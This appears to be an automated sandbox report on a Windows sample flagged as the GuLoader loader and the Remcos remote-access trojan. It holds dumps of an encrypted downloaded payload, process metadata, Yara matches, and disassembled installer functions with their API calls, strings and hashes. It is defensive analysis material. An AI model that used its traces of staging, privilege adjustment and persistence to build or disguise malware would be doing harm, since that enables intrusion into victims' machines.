2024-11-13 07:18:55 UTC	286	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 07:18:55 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 12 Nov 2024 11:10:05 GMT ETag: "bb407b4-78640-626b54264a89c" Accept-Ranges: bytes Content-Length: 493120 Content-Type: application/octet-stream
2024-11-13 07:18:55 UTC	7906	IN	Data Raw: 9d 62 7b 63 9f ea 7f d5 06 90 9d 76 93 4d 82 ac e6 f3 50 b2 34 7b b0 ce 2b dd 4f ab bc 76 09 b8 8f f4 55 b6 66 96 a7 01 1c 29 fc 90 cf 13 00 a2 62 3f bb 43 91 6b 2b 75 95 f8 ef e9 f3 5f c1 59 ef f8 23 04 ae 69 fc 04 c0 a0 08 95 17 f4 1a 7d 47 38 f6 b2 37 5d b5 cc ff 4b 67 01 aa a2 d5 f2 c0 0d a9 e0 46 d2 af 31 be 26 7c e7 f3 38 ca cf 2d 20 f5 46 eb bf eb 66 74 6c 82 24 4c fd 7e 94 2f d8 18 ee 29 bc 1b 28 24 fa 6e e0 99 70 2e 0d 09 0a 5d ec bc 04 2b 6b 8c d8 9b 44 04 dc 40 f1 01 3f 28 72 d9 fd 06 d8 0d d6 60 d7 6d a1 ff b4 9c 41 0d 8a 35 e2 e8 6a da 76 03 68 b7 5b 78 c7 5d b2 dc f6 30 9c 1a f3 22 97 8f 45 e4 7d e7 4a 4e a1 94 2f 1d 9a 1f f0 bd 8d 92 8c 53 a0 a0 f7 55 10 79 d8 cb 18 a9 1b 1b 42 3c 45 64 a8 c3 33 0e 0f 6d 7c 94 a1 37 e2 1c ed 4f f3 cb 1f 1c Data Ascii: b{cvMP4{+OvUf)b?Ck+u_Y#i}G87]KgF1&\|8- Fftl$L~/)($np.]+kD@?(r`mA5jvh[x]0"E}JN/SUyB<Ed3m\|7O
2024-11-13 07:18:55 UTC	8000	IN	Data Raw: 86 9f a4 14 8e 6f c2 4c 76 03 40 aa 48 25 b6 45 ef 72 f7 7e ab 5f 9d 56 85 29 f8 f7 45 b5 51 3e 95 2d 7b b3 bb a6 82 52 79 39 24 45 a4 22 95 d1 4a 61 cd 01 ce 87 c2 ee 65 9d 68 f8 8d 1b fa 09 32 08 d4 54 90 5c 14 f2 b3 9b c2 0d 2e d5 6d 93 28 d7 46 ee f2 bc 99 8b bc 37 eb bb 04 9a d5 0f 53 ed 2a f3 15 c8 4a 5e ea b3 3b e9 87 32 43 84 a9 2b bf b9 e3 fa b9 19 88 77 40 49 f8 55 29 01 d4 d9 ca 83 17 37 9d f8 23 83 62 0b 39 8c 12 82 d6 77 76 78 b2 90 57 93 68 c8 56 8d d7 88 d6 3f 59 c6 a3 44 ec 3e 3a b1 de 64 d1 8f 7d 3f f8 c0 db 95 81 af 70 9d c5 b9 57 ac 31 a8 2a 12 e1 6b 7b 34 ae d2 5c f9 b3 85 43 32 95 5b 05 fe 0e 70 22 2c 23 59 3a e6 35 8f 13 57 95 ca bb 81 95 67 f7 61 0c 0c 4e a3 ab 75 41 6d cd 42 b2 81 89 27 94 fd 16 30 e0 4e 91 e2 59 b0 6f 57 74 b0 98 Data Ascii: oLv@H%Er~_V)EQ>-{Ry9$E"Jaeh2T\.m(F7SJ^;2C+w@IU)7#b9wvxWhV?YD>:d}?pW1k{4\C2[p",#Y:5WgaNuAmB'0NYoWt
2024-11-13 07:18:55 UTC	8000	IN	Data Raw: 24 3f 74 58 8d 9b 39 93 c2 59 8e 8a 46 a4 b3 f0 58 a0 6b 98 a0 1f d5 1a cd ee 86 8b 8f 7a e2 08 ec fb c3 09 95 b8 80 cf f6 31 d0 7b b0 37 5d 36 20 ab c0 ab 69 fe f6 93 f2 28 4b 7c 1f b9 3a ce 6d bf 26 ff 23 c3 b5 86 eb 0d c8 4c 92 14 40 2d 63 50 2a c5 24 44 c5 43 88 67 80 a2 94 67 88 2f c0 43 05 6f ac 20 14 f7 21 44 69 2d 63 db b7 3e 5c ed 36 57 3f e8 fe 0a a6 fe c8 c1 e3 11 6d 11 b7 2d ef 85 22 a2 20 44 a4 f3 2e 69 6c f7 fb 6e ac 96 22 57 2e b7 b3 91 13 5e 64 83 56 d4 d5 c3 87 5e ef db fe 78 15 d6 e1 96 8a 43 5b 93 f2 80 40 b1 59 08 7a 86 ed 5c 46 1e c4 53 a6 50 4c 36 ab aa 99 63 80 1d bf 44 99 ab 23 5f 49 2a e9 b8 9e 07 4d ed 59 4d 23 98 7f 4f c7 c8 16 52 a7 fb 44 1d ce 13 27 c6 b9 7f e8 79 8a 9a ef 7f 87 db 90 fc e1 61 d4 f1 6d 0c e2 95 7c ee b0 9b 72 Data Ascii: $?tX9YFXkz1{7]6 i(K\|:m&#L@-cP$DCgg/Co !Di-c>\6W?m-" D.iln"W.^dV^xC[@Yz\FSPL6cD#_IMYM#ORD'yam\|r
2024-11-13 07:18:55 UTC	8000	IN	Data Raw: 7c 9d 8e 8c a2 fa 02 59 db 9b 7a 0a 60 9d a3 6d 87 9b fc 57 42 d2 a1 0c 89 6a c6 e4 9f e5 18 8b 55 c5 2d bc fd d1 04 09 49 8b 82 50 59 c2 f3 76 32 3a 2c 0c 5f f6 5d 0c eb 46 57 9a 71 e2 c6 8e f3 97 24 fb 20 84 b3 51 25 44 70 56 e3 d7 91 d3 5b de af 19 59 72 3e 82 bd 3b 67 b7 61 95 a4 5f 0c e9 cf d6 96 cd 54 4d 1d ad b2 83 17 9d e0 08 ec ee ee 06 e1 52 52 aa 2f 17 fa af f4 10 1f e8 0b 94 fa cd 51 8f 56 92 39 8c 56 33 b5 6b a0 a1 38 97 aa 96 f2 29 11 34 4f a4 1e 6a bd 9c f1 1d 02 3b 8d 78 04 f4 0f e2 9d 81 d1 13 33 4d 85 5c 4e 6c 11 44 08 67 cc 5f 88 12 d6 0b 74 c3 65 39 d1 8c e9 99 f7 33 70 c2 cf 34 25 2f 4d 5c 10 27 2b a1 7e 20 55 ae 20 cb 6e 5f 8d 98 6f 16 cb c6 02 ce b0 53 05 a0 f3 ed fc 9a 84 7e ed 37 52 11 f6 dd 4a 31 33 71 74 ad 81 76 ba e0 1d 80 ca Data Ascii: \|Yz`mWBjU-IPYv2:,_]FWq$ Q%DpV[Yr>;ga_TMRR/QV9V3k8)4Oj;x3M\NlDg_te93p4%/M\'+~ U n_oS~7RJ13qtv
2024-11-13 07:18:55 UTC	8000	IN	Data Raw: ef ab 50 94 0e 5b 95 be 90 21 0d 2b fe 76 03 37 e9 92 ba c3 a1 ce e0 be de 5f b6 0c cd 54 2b a2 0b ca 4b b1 14 9d a8 55 49 2d 4b 42 a5 5a 4f 2b 16 00 50 8d a6 3b df 6a 7a 96 35 fb aa 22 ec f4 dc b0 f2 dc a5 18 8c 08 ea f5 b1 4b ab 0f 83 05 2b dc c4 99 08 e1 cf 82 e7 42 fb 44 15 16 8a 19 a1 04 d1 f6 09 e3 b1 9b 58 8f fa 03 04 3d 80 b0 80 3f e4 cf 8b 57 ee 64 b5 53 ef 0a d5 81 58 44 b9 05 aa 36 ee cd 18 ef 11 e6 07 ee 96 c3 30 01 5d f6 ec 2c 35 dc d7 0f cc b0 24 6e 83 08 47 2b 82 1b e0 63 c1 46 56 07 12 74 6c b8 cc 87 34 e6 cc 82 39 a5 39 95 5d a5 7f 4a fa 5e e6 2e c6 c2 cf 5b 31 b8 9a 19 df 4f af 95 78 c9 64 ea 54 1b 97 6c 40 06 a9 db 88 31 59 d3 ad d8 4b c7 75 0d 0e ad a5 03 26 18 8c 40 ac 53 ae ce c6 24 6d ca d2 2b 53 21 b9 cb 54 ef 32 7f b9 e6 6e d1 63 Data Ascii: P[!+v7_T+KUI-KBZO+P;jz5"K+BDX=?WdSXD60],5$nG+cFVtl499]J^.[1OxdTl@1YKu&@S$m+S!T2nc
2024-11-13 07:18:55 UTC	8000	IN	Data Raw: 63 a6 fb 41 24 41 02 12 7c 11 9d d4 8f 78 55 2c bd 1c b1 1a c7 59 9e ae 3b 4f 8c 96 7f d3 ad f3 3b 44 e1 7f d6 7e 8d 71 44 92 a4 56 39 9c 81 86 a7 b9 82 cf c1 00 64 f6 ca 9a 8c ea 81 f4 af 42 63 7e a1 67 d4 73 93 27 6e d0 78 7d 3f ea 22 b6 52 fa 61 76 61 92 30 7e 96 4a 9a be c8 85 d0 84 99 01 d9 31 39 b0 3b 99 ed d3 63 ce c1 5d b5 1b d0 42 ed 85 69 37 b5 f5 fd de f2 c8 54 8a 88 c5 8f 9d 96 24 16 e9 f8 27 76 a1 9c 60 f0 15 f9 7e cb 03 a1 c6 47 ca 2c 5a 22 21 83 a5 de 3c d9 72 af b9 76 3e 6a 14 d3 20 b0 69 35 84 cf ea ea a8 bf 0f d2 11 1d ab 47 6e d6 d1 70 39 e7 ff 24 eb 49 67 e1 cc b2 ea d2 30 4e f1 cb 13 e7 da 22 f5 00 1f 0e 64 96 5a 61 8d d7 fb 81 95 41 34 b8 c9 98 2c bb 40 98 31 3c 07 72 00 60 cd f8 06 60 f3 59 08 d8 31 a6 75 53 b9 f0 21 7f 69 8c 37 ed Data Ascii: cA$A\|xU,Y;O;D~qDV9dBc~gs'nx}?"Rava0~J19;c]Bi7T$'v`~G,Z"!<rv>j i5Gnp9$Ig0N"dZaA4,@1<r``Y1uS!i7
2024-11-13 07:18:55 UTC	8000	IN	Data Raw: 46 d5 33 4c 15 4b ef 3a 06 45 a9 4a 81 c4 9e 1a bf 06 d3 c3 a7 4e b4 c4 1f 21 32 7c 6d 29 02 55 47 b5 6f a0 39 f1 2f c3 6f 36 c2 34 f6 a6 b7 b0 bf 19 d7 46 be 02 92 3e 5d c6 b6 9c aa 58 18 62 3b 46 e9 af b8 d7 35 16 d3 d0 ef 4e 31 34 ca a6 be 57 05 4e f5 a2 77 e3 a2 0b 22 19 83 78 b8 fd 81 4a e4 60 47 b9 61 6f a4 2f 35 6b d4 b0 f9 fe 9d dd 61 54 1f 15 4e 79 2d 7d 11 14 2e 72 36 f0 57 2f b4 57 7d 1c 78 a0 b6 ff 4c 39 06 1d 3c ef 04 d8 ba 5b c3 8f d9 e8 f6 8a ad 81 0f 42 1f 9f 5b cb 04 b0 9e a7 2d 34 06 98 82 37 79 c8 97 1d 10 35 ae d8 31 0a 44 f2 2d dd 29 95 6f 73 f6 0a 99 06 30 c0 00 af 50 7e 57 a8 c6 0f be 40 15 92 8c bd 8f 83 99 b9 86 7f d4 b5 c4 01 fb 1b 2f a8 75 c9 96 9f 0b c7 9b 98 84 75 5e db e2 e3 09 2c 80 e6 af e1 52 bd c9 ef 25 e2 5c fe 9e 25 c2 Data Ascii: F3LK:EJN!2\|m)UGo9/o64F>]Xb;F5N14WNw"xJ`Gao/5kaTNy-}.r6W/W}xL9<[B[-47y51D-)os0P~W@/uu^,R%\%
2024-11-13 07:18:55 UTC	8000	IN	Data Raw: 2e 75 6a 15 81 ce cd 38 15 85 19 03 31 6c 91 af 61 b3 99 9c a2 6f 3e 91 d0 3c 6a df ef 9e 19 41 9c d3 b5 59 dd 27 9c 44 a5 46 a4 1e 0f 9b f9 8c ec f2 91 cb 89 94 41 e7 00 e1 fc 51 a0 0b a3 4a 7f 3a d9 28 f1 7b 91 c8 f8 f8 1c 6f 41 c7 cd c3 2e 98 a2 49 fe d7 0e 99 fa a4 13 37 16 47 d8 01 bf f2 f6 af 2f 32 1f e0 52 26 f3 ce 99 43 07 e3 25 53 b1 cc 42 8c 31 64 ff 8c 59 54 5b 7c 67 03 f9 7e f0 7b cb 3f b4 3c 29 b3 90 cb 08 d2 16 ca 71 b8 9b 24 fe 97 c3 d1 41 f9 2e 10 10 6d 12 f2 6a 92 ad 59 b2 4a 9b 1a cf 4c 93 dd 51 f9 1d fc 42 35 3c 8f 92 17 fb 93 96 b4 55 b2 52 04 e2 34 fc e6 69 91 6e 26 0f fb 79 ed 84 06 22 98 2e 2d 00 a7 cb f1 a4 bd e1 02 bf e1 df 65 e9 83 cc ee d1 37 24 5e 65 cf cd 29 dc 00 c3 81 69 7b 26 11 4d f5 fe 4a 59 68 c6 4b fd 31 fe c0 10 b5 10 Data Ascii: .uj81lao><jAY'DFAQJ:({oA.I7G/2R&C%SB1dYT[\|g~{?<)q$A.mjYJLQB5<UR4in&y".-e7$^e)i{&MJYhK1
2024-11-13 07:18:55 UTC	8000	IN	Data Raw: 8b 91 ab 75 ff c1 b4 d5 2d 2b e8 d2 ee 36 29 70 20 41 8d 0a e3 ad 81 7d e6 70 f2 4c 3e 45 c4 b1 a7 2c c0 de a1 bd d1 79 6e 91 81 b9 60 fe 66 1d 94 44 52 2a be 64 83 0c 7e 94 ae 62 f9 4a 57 9b 96 bc ea 6b be bf bd 91 57 c7 86 8c b5 d8 0d 28 65 bb 43 b1 e5 83 3d 3f 5c d1 fb e0 3b 96 62 96 e1 21 67 3a 38 dd 17 dd 5c 22 43 87 4a db d5 66 cd 0c 8b 8c bb b4 43 38 14 3e 06 b5 ef 66 8c d8 08 4f c0 11 fc 43 70 10 ca 51 29 19 7f 46 47 60 01 3a 95 23 bd 4e 31 b4 76 ae ee 27 f6 0c 1f db 4a 9f 69 1b 9b fa d7 5c c7 2a 70 3f 44 f4 3f af 12 fe 27 ec 80 92 db 12 56 9c 6a 5e 7e ab 5c 81 f8 9d d1 b9 15 c8 34 62 3f 7b 75 76 1b db b4 db 06 c5 d8 24 52 df 87 ec 2c d1 8b 80 1d e1 2f b9 29 5c 49 a6 87 bf 51 06 8b 30 76 95 b2 56 69 4a 7f e2 fc 12 61 22 d7 3a b1 78 07 0b 94 c0 35 Data Ascii: u-+6)p A}pL>E,yn`fDRd~bJWkW(eC=?\;b!g:8\"CJfC8>fOCpQ)FG`:#N1v'Ji\p?D?'Vj^~\4b?{uv$R,/)\IQ0vViJa":x5
2024-11-13 07:18:56 UTC	8000	IN	Data Raw: b4 44 96 6a b4 6b 77 e0 a0 d8 40 8a e0 39 05 fc a5 69 8f e2 38 d9 6e c6 a9 fe 01 15 52 85 95 f7 39 e2 da cd ce 52 c1 00 91 04 71 c4 11 36 8e c0 7f 3d 17 b2 54 ab a7 3e 58 a5 34 79 76 4a 40 2d 67 3a 46 29 9f 75 2e cf dc da 7d 3a f1 cb 91 64 32 d1 fe c5 34 88 91 04 82 33 9b 90 ec b3 e7 70 12 39 48 58 84 35 df 4c f2 da 34 90 de e4 de 6f 54 18 4c 35 d8 13 c8 14 dd 5c e0 1f c3 91 a3 60 cd a9 03 b5 ad 58 2a 7b 44 70 f1 4d e1 83 db 99 ef d6 83 05 f4 4c f9 3a de cd 82 ee 87 03 8f 7c 09 45 fc 7c d8 1f 9d 8f 09 90 ea 4b 41 a7 17 44 6f 2a b7 3f 61 85 ab d1 e5 17 00 cf 6b aa 3b e5 d7 df 93 f5 2b e5 4c 32 aa 85 2f e2 a7 96 e3 e9 be 09 14 63 65 16 3f ee 40 28 cc 9c 95 9f 8f ec cc a2 53 fa 89 cc 45 83 b1 9b 75 09 c9 23 4d 7a 68 40 5a 80 4a 2b 45 54 45 24 25 e1 77 09 f3 Data Ascii: Djkw@9i8nR9Rq6=T>X4yvJ@-g:F)u.}:d243p9HX5L4oTL5\`X{DpML:\|E\|KADo?ak;+L2/ce?@(SEu#Mzh@ZJ+ETE$%w

Target ID:	0
Start time:	02:17:55
Start date:	13/11/2024
Path:	C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe"
Imagebase:	0x400000
File size:	731'660 bytes
MD5 hash:	A03DCB82D6ECAAB34CC6AE971A806C06
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2056638671.000000000433E000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:18:38
Start date:	13/11/2024
Path:	C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe"
Imagebase:	0x400000
File size:	731'660 bytes
MD5 hash:	A03DCB82D6ECAAB34CC6AE971A806C06
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000002.2910026299.00000000354EE000.00000004.00000010.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000002.2890396068.0000000004ED8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000002.2890396068.0000000004F17000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000002.2890485500.0000000004F49000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	21.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	16.2%
Total number of Nodes:	1541
Total number of Limit Nodes:	39

Executed Functions

Function 004033D8 Relevance: 91.4, APIs: 32, Strings: 20, Instructions: 430
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00008001), ref: 004033FB
GetVersionExA.KERNEL32(?), ref: 00403424
GetVersionExA.KERNEL32(0000009C), ref: 0040343B
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403504
#17.COMCTL32(?,00000008,0000000A,0000000C), ref: 00403541
OleInitialize.OLE32(00000000), ref: 00403548
SHGetFileInfoA.SHELL32(00429448,00000000,?,00000160,00000000,?,00000008,0000000A,0000000C), ref: 00403566
GetCommandLineA.KERNEL32(0042E820,NSIS Error,?,00000008,0000000A,0000000C), ref: 0040357B
CharNextA.USER32(00000000,"C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe",00000020,"C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe",00000000,?,00000008,0000000A,0000000C), ref: 004035B5
GetTempPathA.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020,?,00000008,0000000A,0000000C), ref: 004036AE
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000008,0000000A,0000000C), ref: 004036BF
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000008,0000000A,0000000C), ref: 004036CB
GetTempPathA.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000008,0000000A,0000000C), ref: 004036DF
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000008,0000000A,0000000C), ref: 004036E7
SetEnvironmentVariableA.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000008,0000000A,0000000C), ref: 004036F8
SetEnvironmentVariableA.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000008,0000000A,0000000C), ref: 00403700
DeleteFileA.KERNELBASE(1033,?,00000008,0000000A,0000000C), ref: 00403714
OleUninitialize.OLE32(?,?,00000008,0000000A,0000000C), ref: 004037BF
ExitProcess.KERNEL32 ref: 004037E0
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe",00000000,?,?,00000008,0000000A,0000000C), ref: 004037EF
wsprintfA.USER32 ref: 00403846
GetFileAttributesA.KERNEL32(888,C:\Users\user\AppData\Local\Temp\,888,?,0000000C), ref: 00403878
DeleteFileA.KERNEL32(888), ref: 00403884
SetCurrentDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,888,?,0000000C), ref: 004038B0
CopyFileA.KERNEL32(C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe,888,00000001), ref: 004038C6
CloseHandle.KERNEL32(00000000,00431800,00431800,?,888,00000000), ref: 00403919
GetCurrentProcess.KERNEL32(00000028,?,00000008,0000000A,0000000C), ref: 00403936
OpenProcessToken.ADVAPI32(00000000), ref: 0040393D
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403951
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00403970
ExitWindowsEx.USER32(00000002,80040002), ref: 00403995
ExitProcess.KERNEL32 ref: 004039B6

Strings

1033, xrefs: 0040370F
NSIS Error, xrefs: 0040356C
C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, xrefs: 004038C1
C:\Users\user\AppData\Roaming\chlorenchyma\Regenerate, xrefs: 0040379D
", xrefs: 004035D8
SeShutdownPrivilege, xrefs: 0040394B
888, xrefs: 0040382B, 0040385A, 00403877, 00403883, 004038C0, 004038D6, 00403905
TEMP, xrefs: 004036F3
\Temp, xrefs: 004036C5
`Kt, xrefs: 004036EC
UXTHEME, xrefs: 004034F8, 004034FD, 00403503
Error launching installer, xrefs: 00403778
"C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe", xrefs: 00403581, 00403587, 00403736
TMP, xrefs: 004036FB
C:\Users\user\AppData\Local\Temp\, xrefs: 004036A3, 004036A8, 004036BE, 004036CA, 004036D9, 004036E6, 004036F2, 004036FA, 004037EB, 00403864, 00403890, 004038AF, 004038B8
A, xrefs: 00403476
~nsu%X.tmp, xrefs: 0040383E
Low, xrefs: 004036E1
C:\Users\user\AppData\Roaming\chlorenchyma\Regenerate, xrefs: 00403693, 00403792, 00403803, 00403811
C:\Users\user\Desktop, xrefs: 0040380C

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: File$Process$Exit$CurrentDeleteDirectoryEnvironmentPathTempTokenVariableVersionWindowslstrcatlstrlen$AdjustAttributesCharCloseCommandCopyErrorHandleInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesUninitializeValuewsprintf
String ID: "$"C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe"$1033$888$A$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\chlorenchyma\Regenerate$C:\Users\user\AppData\Roaming\chlorenchyma\Regenerate$C:\Users\user\Desktop$C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$`Kt$~nsu%X.tmp
API String ID: 2956269667-4036010298
Opcode ID: 5cdaee19dc3e25094bd540d3cee5e8eae226bbf285dc81e201763af22fa04eb7
Instruction ID: 7f7404e7af7d96985e5cf9c88e74da5f08b6bc5144b1890d42f960bb7a69135c
Opcode Fuzzy Hash: 5cdaee19dc3e25094bd540d3cee5e8eae226bbf285dc81e201763af22fa04eb7
Instruction Fuzzy Hash: E2F11570904254AADB21AF758D49BAF7EB8AF45706F0440BFF441B62D2CB7C4A45CB2E

Function 0040550F Relevance: 54.3, APIs: 36, Instructions: 282
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 0040556E
GetDlgItem.USER32(?,000003EE), ref: 0040557D
GetClientRect.USER32(?,?), ref: 004055BA
GetSystemMetrics.USER32(00000002), ref: 004055C1
SendMessageA.USER32(?,0000101B,00000000,?), ref: 004055E2
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 004055F3
SendMessageA.USER32(?,00001001,00000000,?), ref: 00405606
SendMessageA.USER32(?,00001026,00000000,?), ref: 00405614
SendMessageA.USER32(?,00001024,00000000,?), ref: 00405627
ShowWindow.USER32(00000000,?,0000001B,?), ref: 00405649
ShowWindow.USER32(?,00000008), ref: 0040565D
GetDlgItem.USER32(?,000003EC), ref: 0040567E
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 0040568E
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 004056A7
SendMessageA.USER32(00000000,00002001,00000000,?), ref: 004056B3
GetDlgItem.USER32(?,000003F8), ref: 0040558C

Part of subcall function 00404362: SendMessageA.USER32(00000028,?,00000001,00404192), ref: 00404370

GetDlgItem.USER32(?,000003EC), ref: 004056CF
CreateThread.KERNELBASE(00000000,00000000,Function_000054A3,00000000), ref: 004056DD
CloseHandle.KERNELBASE(00000000), ref: 004056E4
ShowWindow.USER32(00000000), ref: 00405707
ShowWindow.USER32(?,00000008), ref: 0040570E
ShowWindow.USER32(00000008), ref: 00405754
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00405788
CreatePopupMenu.USER32 ref: 00405799
AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 004057AE
GetWindowRect.USER32(?,000000FF), ref: 004057CE
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004057E7
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405823
OpenClipboard.USER32(00000000), ref: 00405833
EmptyClipboard.USER32 ref: 00405839
GlobalAlloc.KERNEL32(00000042,?), ref: 00405842
GlobalLock.KERNEL32(00000000), ref: 0040584C
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405860
GlobalUnlock.KERNEL32(00000000), ref: 00405879
SetClipboardData.USER32(00000001,00000000), ref: 00405884
CloseClipboard.USER32 ref: 0040588A

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID:
API String ID: 590372296-0
Opcode ID: 6894e9f90bc875501daf67bea02dd23ffdb3990ae2fac1508e671bbf89fa6b9e
Instruction ID: 4cf6c47baa67300a2587cb91bb909ead9d18e5d8973f7e879562a42f7fe873d6
Opcode Fuzzy Hash: 6894e9f90bc875501daf67bea02dd23ffdb3990ae2fac1508e671bbf89fa6b9e
Instruction Fuzzy Hash: 58A16A71A00609FFDB11AFA0DE89EAE7BB9EB44354F40403AFA44B61A0C7754D51DF68

Function 00405A4F Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 159
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileA.KERNELBASE(?,?,74DF3410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe"), ref: 00405A78
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsb535E.tmp,\*.*,C:\Users\user\AppData\Local\Temp\nsb535E.tmp,?,?,74DF3410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe"), ref: 00405AC0
lstrcatA.KERNEL32(?,0040A014,?,C:\Users\user\AppData\Local\Temp\nsb535E.tmp,?,?,74DF3410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe"), ref: 00405AE1
lstrlenA.KERNEL32(?,?,0040A014,?,C:\Users\user\AppData\Local\Temp\nsb535E.tmp,?,?,74DF3410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe"), ref: 00405AE7
